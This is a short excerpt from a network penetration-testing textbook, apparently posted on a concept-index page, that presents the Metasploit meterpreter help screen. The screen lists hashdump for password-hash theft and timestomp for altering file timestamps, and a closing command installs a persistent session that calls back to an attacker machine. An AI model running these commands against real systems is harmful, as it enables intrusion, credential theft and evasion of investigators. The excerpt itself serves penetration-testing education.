concept meterpreter in category security

appears as: The meterpreter, meterpreter, meterpreter, A meterpreter
The Art of Network Penetration Testing

This is an excerpt from Manning's book The Art of Network Penetration Testing.

Listing 7.5 The meterpreter help screen
meterpreter > help
 
Core Commands
=============
 
    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background
    channel                   Displays information or control active
    close                     Closes a channel
    detach                    Detach the meterpreter session
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current
 
*** [OUTPUT TRIMMED] ***
 
 
Priv: Password database Commands
================================
 
    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database
 
 
Priv: Timestomp Commands
========================
 
    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes
 
meterpreter >

From an attacker’s perspective—and you must always remember that as a penetration tester your job is to play the role of an attacker—you want to have assurance that the level of access you’ve worked hard to obtain is not easily taken from you. For example, if the service you just exploited crashes or restarts for one reason or another it’s possible you could lose your network connection to the meterpreter or command shell and be unable to get it back up again. Ideally, you’ll want to have some sort of reliable way to re-enter the system in the event that you are booted from it. In a later section, you’ll learn how to set up a persistent meterpreter session that automatically connects back to your attacking machine if the session dies or the compromised target is rebooted.

meterpreter > run persistence -A -L c:\\ -X -i 30 -p 8443 -r 10.0.10.160